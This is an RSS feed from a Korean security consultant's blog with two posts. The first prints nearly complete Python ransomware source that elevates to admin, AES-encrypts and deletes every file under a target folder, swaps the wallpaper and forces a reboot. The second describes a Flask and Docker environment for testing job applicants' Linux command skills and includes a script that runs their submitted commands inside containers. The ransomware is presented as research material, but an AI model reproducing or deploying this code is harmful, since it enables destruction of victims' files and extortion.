<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>positive_smile.log</title>
        <link>https://velog.io/</link>
        <description>취미로 개발을 하는 보안컨설턴트</description>
        <lastBuildDate>Sun, 06 Jul 2025 13:52:25 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>positive_smile.log</title>
            <url>https://velog.velcdn.com/images/positive_smile/profile/d84a17e2-28ef-46ab-9573-b0f273937b96/social_profile.jpeg</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. positive_smile.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/positive_smile" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[Ransomware #1]]></title>
            <link>https://velog.io/@positive_smile/Ransomware-1</link>
            <guid>https://velog.io/@positive_smile/Ransomware-1</guid>
            <pubDate>Sun, 06 Jul 2025 13:52:25 GMT</pubDate>
            <description><![CDATA[<hr>
<p><a href="https://securitypositive.tistory.com/entry/Ransomware">https://securitypositive.tistory.com/entry/Ransomware</a>
<a href="https://github.com/KKongten/Ransomware">https://github.com/KKongten/Ransomware</a></p>
<hr>
<p>해당 글에서 랜섬웨어 관련 내용을 업로드 했었다. </p>
<p>본격적으로 연구를 위해 이전에 사용했었던 코드를 아래에 업로드 해볼까 한다. </p>
<pre><code>import glob, os, struct, sys
from Crypto.Cipher import AES
from PyQt5.QtWidgets import QApplication, QWidget, QPushButton, QVBoxLayout, QHBoxLayout, QLabel
from PyQt5.QtCore import Qt
from PyQt5.QtGui import QIcon

def root_require():
    ASADMIN = &#39;asadmin&#39;
    try:
        if sys.argv[-1] != ASADMIN:
            script = os.path.abspath(sys.argv[0])
            params = &#39; &#39;.join([script] + sys.argv[1:] + [ASADMIN])
            shell.ShellExecuteEx(lpVerb=&#39;runas&#39;, lpFile=sys.executable, lpParameters=params)
        return True
    except:
        return False

def encrypt_file(key, in_filename, out_filename=None, chunksize=128*1024):
    if not out_filename:
        out_filename = in_filename + &#39;.ransomeware&#39;

    iv = os.urandom(16)
    encryptor = AES.new(key ,AES.MODE_CBC, iv)
    filesize = os.path.getsize(in_filename)

    with open(in_filename, &#39;rb&#39;) as infile:
        with open(out_filename, &#39;wb&#39;) as outfile:
            outfile.write(struct.pack(&#39;&lt;Q&#39;, filesize))
            outfile.write(iv)

            while True:
                chunk = infile.read(chunksize)
                if len(chunk) == 0:
                    break
                elif len(chunk) % 32 != 0:
                    chunk += b&#39; &#39; * (32 - len(chunk) % 32)

                outfile.write(encryptor.encrypt(chunk))

def decrypt_file(key, in_filename, out_filename=None, chunksize=32*1024):
    if not out_filename:
        out_filename = os.path.splitext(in_filename)[0]

    with open(in_filename, &#39;rb&#39;) as infile:
        origsize = struct.unpack(&#39;&lt;Q&#39;, infile.read(struct.calcsize(&#39;Q&#39;)))[0]
        iv = infile.read(16)
        decryptor = AES.new(key, AES.MODE_CBC, iv)

        with open(out_filename, &#39;wb&#39;) as outfile:
            while True:
                chunk = infile.read(chunksize)

                if len(chunk) == 0:
                    break

                outfile.write(decryptor.decrypt(chunk))
            outfile.truncate(origsize)

key = b&#39;Ransomware JIFS.&#39;
startPath = &#39;C:/Users/user/Desktop/Ransomware/example/**&#39;

def Encrypt_button():
    for filename in glob.iglob(startPath, recursive=True):
        if(os.path.isfile(filename)):
            if (os.access(filename,os.R_OK)) and (os.access(filename,os.W_OK)) and (os.access(filename,os.X_OK)):
                print(&#39;Encrypting&gt; &#39; + filename)
                encrypt_file(key, filename)
                os.remove(filename)
    os.system(&quot;C:/Users/user/Desktop/Ransomware/Wallpaper.bat&quot;)
    os.system(&quot;shutdown -r -t 0&quot;)

def Decrypt_button():

    for filename in glob.iglob(startPath, recursive=True):
       if(os.path.isfile(filename)):
            fname, ext = os.path.splitext(filename)

            if (ext == &#39;.ransomeware&#39;):
                print(&#39;Decrypting&gt; &#39; + filename)
                decrypt_file(key, filename)
                os.remove(filename)
    os.system(&quot;C:/Users/user/Desktop/Ransomware/Wallpaper1.bat&quot;)
    os.system(&quot;shutdown -r -t 0&quot;)

# GUI 관련 코드 
# ~~~~~~
#

if __name__ == &#39;__main__&#39;:
    import win32com.shell.shell as shell

    if root_require():
        app = QApplication(sys.argv)
        ex = ExWindow()
        sys.exit(app.exec_())
    else:
        print (&quot;error message&quot;)</code></pre><hr>
<p>이제 코드를 업데이트 하면서 변경할 것들을 계속해서 업로드 해볼까 한다. 
그토록 하고싶어하는 <strong>&quot;침해사고 분석&quot;</strong> 은 기회가 없겠지만..</p>
<p>다음번에도 기회가 된다면..!
랜섬웨어 분석을 해보고 싶고, 실제로 도움이 되고 싶기 때문에 시간을 써볼것이다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Linux 명령어 사용능력 검증 환경 개발 ]]></title>
            <link>https://velog.io/@positive_smile/Linux-%EB%AA%85%EB%A0%B9%EC%96%B4-%EC%82%AC%EC%9A%A9-%EB%8A%A5%EB%A0%A5-%EA%B2%80%EC%A6%9D-%ED%99%98%EA%B2%BD-%EA%B5%AC%EC%B6%95</link>
            <guid>https://velog.io/@positive_smile/Linux-%EB%AA%85%EB%A0%B9%EC%96%B4-%EC%82%AC%EC%9A%A9-%EB%8A%A5%EB%A0%A5-%EA%B2%80%EC%A6%9D-%ED%99%98%EA%B2%BD-%EA%B5%AC%EC%B6%95</guid>
            <pubDate>Tue, 01 Jul 2025 15:28:55 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/positive_smile/post/75f67dfc-f78a-4be7-906e-e1c7fddad091/image.png" alt=""></p>
<hr>
<h2 id="i-am-not-a-developer">I am not a developer.</h2>
<p>그럼에도, 이 환경을 만든 이유는 신입사원 채용에 필요하다고 판단했다. </p>
<p>인프라 취약점 점검을 하기 위해서는 Shell/Batch 스크립트를 만들거나, 명령어를 입력하여 결과를 얻고 점검을 해야 하는데
명령어를 모른다면 이 모든것은 의미가 없다고 생각했다. </p>
<p>그래서, 신입사원을 채용할 때 Unix/Linux 에 대한 명령어 사용 능력이 어느정도인지 검증을 하고 싶었다. </p>
<hr>
<h2 id="warning">Warning</h2>
<p>신입사원 채용 과정에서 면접 시 명령어 사용 능력에 대한 검증을 하기 위해서는 여러 제약사항이 있었다.</p>
<ul>
<li>사용한 명령어는 단일이 아닌 다중 OS에서도 사용이 가능해야 함</li>
<li>지원자의 정보와 함께 사용한 명령어와 결과를 확인할 수 있어야 하는 것 </li>
<li>이게 WebShell 이라고 볼 수 있기 때문에 시스템에 영향을 줄 수 있는 특정 명령어에 대해서는 사용을 금지 해야 하는 것</li>
</ul>
<hr>
<h2 id="function">Function</h2>
<p>환경을 만들기 위해서, 필요한 기능들을 생각해보았다.</p>
<ul>
<li>명령어 검증 환경은 Flask를 통한 웹 환경을 이용할 것 </li>
<li>코딩테스트처럼 다양한 Test Case(다양한 OS) 가 필요함</li>
<li>최소 5개 이상의 문제를 제공하여, 명령어 사용 능력에 대한 검증이 되어야 할 것</li>
<li>테스트 시간을 정확하게 측정하기 위한 기능이 필요할 것 <ul>
<li>불가피하게 시스템 재부팅, 브라우저 재시작 등의 사유로 시험이 중단되었을 경우 <strong><em>잔여시간 동안 재시험을 치를 수 있게 할 것</em></strong></li>
<li>테스트 시간을 <strong><em>초과하여 응시할 수 없도록 제한할 것</em></strong></li>
</ul>
</li>
<li>테스트는 <strong><em>1회</em></strong> 만 가능하며, 시험이 종료된 후 <strong><em>재시험을 볼 수 없게 할 것</em></strong></li>
<li>지원자에 대한 정보를 기록하기 위한 DB를 구축할 것 </li>
<li>이전 문제를 재확인하고, 다시 풀 수 있도록 <strong><em>되돌아가기 기능을 구현 할 것</em></strong></li>
<li>다른문제 선택 시, <strong><em>지원자가 사용한 명령어가 저장되어 있을 것</em></strong></li>
</ul>
<hr>
<h2 id="execute-structure">Execute Structure</h2>
<ol>
<li><p>지원자는 웹페이지에서 주어진 문제에 대해 명령어를 입력하고 <strong><em>실행</em></strong> 버튼을 누른다. </p>
</li>
<li><p><strong><em>실행</em></strong> 버튼을 누르면, 입력한 명령어를 <strong><em>하나의 쉘 스크립트 파일로 만들어서, OS Container 내부로 전송한다</em></strong></p>
</li>
<li><p><strong><em>OS Container 내부에서는 전달받은 스크립트 파일에 실행권한을 붙여 실행한다</em></strong></p>
</li>
<li><p>실행 결과를 텍스트 파일(.txt) 로 Redirect 하여, Host로 파일을 전송한다. </p>
</li>
<li><p>Host는 전달받은 .txt 파일을 Flask 웹 화면 결과창에 표시하여 사용한 명령어에 대한 결과를 보여준다. </p>
</li>
</ol>
<hr>
<h2 id="project-structure">Project Structure</h2>
<p><code>project/static</code> : 각 문제에 대한 명령어 결과를 캡쳐해놓고 문제화면에서 보여줄 수 있도록 하기 위함
<code>project/templates/home.html</code> : 지원자의 이름, 전화번호 등을 작성하기 위한 페이지 
<code>project/templates/test.html</code> : 문제가 나오는 페이지 
<code>project/templates/complete.html</code> : 시험이 종료되었을 때 안내하는 페이지 
<code>Dockerfile</code> : Docker Build를 통해 환경 구축하기 위한 파일
<code>app.py</code> : Main Python File
<img src="https://velog.velcdn.com/images/positive_smile/post/0109a96a-6143-447e-af37-eb389e157c51/image.png" alt=""></p>
<hr>
<h3 id="dockerfile">Dockerfile</h3>
<pre><code>FROM python:3.8-slim

# Flask 설치
RUN pip3 install flask
RUN pip3 install pymysql
# 작업 디렉터리 설정
WORKDIR /app

# Flask 앱 파일 복사
COPY . .

# Flask 실행: 외부에서 접속할 수 있도록 0.0.0.0으로 바인딩
CMD [&quot;python3&quot;, &quot;app.py&quot;, &quot;--host=0.0.0.0&quot;, &quot;--port=5000&quot;]</code></pre><hr>
<h3 id="gradesh">grade.sh</h3>
<ul>
<li>grade.sh 는 Container 내부에서 사용되는 파일로,</li>
<li>전달받은 스크립트 파일에 실행권한을 부여 및 실행하여 결과를 txt 파일로 Redirection 하는 목적<pre><code>#!/bin/bash
</code></pre></li>
</ul>
<p>SCRIPT=&quot;$1&quot;             # user_script.sh 파일
echo $SCRIPT
os_type=$(hostname)     # 컨테이너의 호스트 이름
question_id=<code>echo $SCRIPT | awk -F_ &#39;{print $5}&#39;</code>
volunteer_id=<code>echo $SCRIPT | awk -F_ &#39;{print $6}&#39;</code>
phone_number=<code>echo $SCRIPT | awk -F_ &#39;{print $7}&#39; | awk -F. &#39;{print $1}&#39;</code></p>
<p>chmod +x &quot;$SCRIPT&quot;</p>
<p>if [ <code>cat $SCRIPT | egrep &quot;&gt;|&gt;&gt;&quot; | wc -l</code> -eq 0 ]
then
    RESULT_FILE=&quot;/shell_test/result_${os_type}<em>$question_id&quot;</em>&quot;$volunteer_id&quot;_&quot;$phone_number.txt&quot;
    bash &quot;$SCRIPT&quot; &gt; &quot;$RESULT_FILE&quot; 2&gt;&amp;1
else
    OUTPUT=bash &quot;$SCRIPT&quot;
fi</p>
<p>echo &quot;Execution complete. Result saved to $RESULT_FILE&quot;</p>
<pre><code>---
### app.py</code></pre><p>containers = [&quot;2143np9v8s9g&quot;, &quot;2jv9sdjf5812&quot;] # OS Container ID List 
def get_dbms_containerid():
    # DB는 MySQL Container 를 쓰므로Container ID 값 가져오기 위한 용도
    <del>~</del></p>
<p>def get_db_connection():
    # DB 연결 
    <del>~</del></p>
<p>@app.route(&quot;/&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def home():
    # 지원자 이름, 핸드폰 번호 입력 화면
    <del>~</del></p>
<p>@app.route(&quot;/user_check&quot;, methods=[&quot;POST&quot;])
def user_check():
    # 지원자 정보를 입력 후 시험시작 버튼을 눌렀을 때 올바른 지원자인지 확인하기 위함
    <del>~</del></p>
<p>@app.route(&quot;/test&quot;, methods=[&quot;GET&quot;])<br>def test():
    # 올바른 지원자 이며, 시험 기록이 없는 경우 /test로 이동
    <del>~</del></p>
<p>@app.route(&quot;/run_code&quot;, methods=[&quot;POST&quot;])
def run_code():
    # 문제 화면에서 명령어 입력 후 &quot;실행&quot; 버튼을 눌렀을 때 작동되는 함수
    <del>~</del></p>
<p>@app.route(&quot;/save_and_next&quot;, methods=[&quot;POST&quot;])
def save_and_next():
    # 문제 화면에서 &quot;다음 문제로 이동&quot; 버튼을 눌렀을 때 작동되는 함수
    # 현재 입력까지 저장 후, 다음 문제로 이동<br>    <del>~</del></p>
<p>@app.route(&quot;/load_question&quot;, methods=[&quot;GET&quot;])
def load_question():
    # 이미 완료되었거나, 넘어간 문제로 되돌아가기 위한 함수
    <del>~</del></p>
<p>@app.route(&quot;/complete&quot;, methods=[&quot;GET&quot;])
def complete():
    # 모든 문제 해결 혹은 일부 문제 해결 후 &quot;제출&quot; 버튼을 눌렀을 때 작동되는 함수
    <del>~</del></p>
<p>@app.route(&quot;/save_and_complete&quot;, methods=[&quot;POST&quot;])
def save_and_complete():
    # 모든 문제를 해결하면 마지막 문제에서 &quot;다음 문제로 이동&quot; 버튼을 눌렀을 때 
    # 다음 문제가 없으면 /save_and_complete 함수를 실행
    # &quot;모든 문제가 완료되었습니다. 제출하시겠습니까?&quot; 라는 표시창 출력 하기 위함
    # &quot;예&quot; 선택시 제출 / &quot;아니오&quot; 선택시 원하는 문제로 이동 가능 
    <del>~</del></p>
<pre><code>---
## DB Data
![](https://velog.velcdn.com/images/positive_smile/post/b71e317e-4e94-4e1f-abfd-5e6e26a3e9aa/image.png)

---
## Test Page


---
## Notion 링크
**_Notion_** : 링크 업데이트 예정 

---</code></pre>]]></description>
        </item>
    </channel>
</rss>